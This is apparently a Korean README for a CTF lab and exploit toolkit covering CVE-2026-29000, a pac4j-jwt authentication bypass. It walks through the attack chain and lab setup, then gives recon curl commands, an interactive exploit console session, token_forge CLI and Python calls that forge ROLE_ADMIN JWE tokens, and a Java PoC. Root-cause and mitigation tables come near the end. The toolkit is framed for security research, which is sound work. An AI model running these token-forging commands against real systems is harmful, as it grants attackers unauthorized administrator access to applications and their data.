
CTF 랩 및 CVE-2026-29000용 익스플로잇 툴킷으로, pac4j-jwt JWE 인증 우회 취약점을 다룹니다. 취약한 Flask 타깃, 토큰 위조 라이브러리, 대화형 익스플로잇 콘솔, Java PoC를 포함합니다.
pac4j-jwt 라이브러리의 JWE 인증 취약점을 연구하는 CTF 랩 CVSS 9.3 (Critical) · CWE-287 · 영향: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3
영향을 받는 버전의 pac4j-jwt는 PlainJWT(alg=none, 서명 없음)를 생성한 뒤 이를 JWE(JSON Web Encryption)로 감싸는 방식으로 JWT 인증 메커니즘 전체를 우회할 수 있습니다. JWE 레이어를 복호화한 후, 라이브러리는 내부 JWT의 알고리즘을 검증하지 않으며 — role을 포함한 claims를 완전히 신뢰합니다.
공격 체인:
X-Powered-By: pac4j/6.0.3 ← 버전 노출 → 프레임워크 식별
↓
OIDC Discovery → JWKS → RSA 공개 키 ← 공개 정보
↓
JWE 위조 (PlainJWT alg=none, ROLE_ADMIN)
↓
인증 우회 → GET /admin?token=<JWE> ← 관리자 패널 접근
↓
민감 데이터 읽기: 직원 목록, 시스템 설정, flag
CVE-2026-29000/
├── lab/ # 대상 — Flask 앱 (NexusBank Employee Portal)
│ ├── app.py # 취약점이 있는 메인 애플리케이션
│ ├── Dockerfile # 빌드 시 /flag.txt에 flag 내장
│ └── requirements.txt
│
├── token_forge/ # 위조 JWE 토큰 생성 Python 라이브러리
│ ├── forge.py # forge_token()
│ ├── jwe_builder.py
│ ├── keys.py
│ ├── claims.py
│ └── cli.py # CLI: python -m token_forge
│
├── scripts/
│ └── exploit.py # 대화형 익스플로잇 콘솔 (Metasploit 스타일)
│
├── poc/ # Java PoC — in-process 우회 확인
│ ├── src/main/java/Poc.java
│ └── pom.xml
│
├── tests/
├── docker-compose.yml
└── requirements.txt
| 도구 | 버전 | 비고 |
|---|---|---|
| Docker Desktop | 24+ | 대상 랩 실행 |
| Docker Compose | v2+ | Docker Desktop에 통합 |
| Python | 3.11+ | exploit.py 및 token_forge 실행 |
| Java + Maven | 11+ | Java PoC에만 필요 |
git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000
# Linux / macOS
python -m venv .venv && source .venv/bin/activate
# Windows
python -m venv .venv && .venv\Scripts\activate
pip install -r requirements.txt
docker compose up -d lab
랩 실행 확인:
curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3
flag 커스터마이징:
docker compose build --build-arg FLAG="CTF{custom_flag}" lab docker compose up -d lab
docker compose down
exploit.py는 Metasploit 스타일의 대화형 콘솔입니다. 사용자가 직접 recon을 수행하여 정보를 수집한 후, 설정하고 익스플로잇합니다.
python scripts/exploit.py
# 또는 커맨드 라인에서 사전 설정:
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080
전체 세션 예시:
jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31
jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)
jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json
jwe-bypass > run
[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned roles: ['ROLE_ADMIN']
Auth bypass successful!
Open in your browser:
http://192.168.1.31:8080/admin?token=eyJ...
브라우저에서 위 URL을 열어 관리자 대시보드에 접속합니다.
PUBKEY는 3가지 형식을 지원합니다:
# 1. JWKS URL — 자동 fetch (권장)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
# 2. 다운로드한 파일
set PUBKEY /tmp/key.json
# 3. raw JSON 직접 붙여넣기
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}
# 응답 헤더로 프레임워크 탐지
curl -sI http://TARGET:8080
# 숨겨진 엔드포인트 찾기
curl -s http://TARGET:8080/robots.txt
# RFC 8414: pac4j는 항상 이 엔드포인트를 노출
curl -s http://TARGET:8080/.well-known/openid-configuration
# jwks_uri에서 RSA 공개 키 가져오기
curl -s http://TARGET:8080/.well-known/jwks.json
python -m token_forge \
--jwks-url http://TARGET:8080/.well-known/jwks.json \
--subject attacker \
--roles ROLE_ADMIN
TOKEN=$(python -m token_forge \
--jwks-url http://TARGET:8080/.well-known/jwks.json \
--roles ROLE_ADMIN 2>/dev/null)
# 우회 확인
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile
# 브라우저에서 관리자 대시보드 열기
echo "http://TARGET:8080/admin?token=$TOKEN"
from token_forge import forge_token, load_public_key_from_jwks_url
key = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)
Nimbus JOSE + pac4j 6.0.3으로 JVM 내에서 직접 우회 확인:
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]
# 토큰만 출력
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
pytest tests/ -v
# 커버리지 리포트 포함
pytest tests/ -v --cov=token_forge --cov-report=term-missing
| 위치 | 문제 |
|---|---|
JwtAuthenticator.validateToken() | JWE 복호화 후 SignedJWT.parse() 대신 PlainJWT.parse() 호출 |
랩의 _payload_to_claims() | base64decode + json.loads 직접 수행, 서명 검증 없음 |
잘못된 처리 흐름:
JWE decrypt → payload 획득 → base64decode → json.loads → claims 신뢰
↑ 내부 JWT 서명 검증 단계 누락
| 조치 | 세부 사항 |
|---|---|
| pac4j-jwt 업그레이드 | >= 6.3.3 / 5.7.9 / 4.5.9로 업그레이드 |
| PlainJWT 거부 | JWE 복호화 후 alg != "none" 확인 |
| 버전 헤더 제거 | 프로덕션에서 X-Powered-By 비활성화 |
| 최소 권한 | 컨테이너를 root 권한으로 실행하지 않기 |
경고: 이 저장소는 통제된 환경에서의 보안 연구 및 CTF 목적으로만 사용하세요. 승인되지 않은 시스템에서 사용하지 마십시오.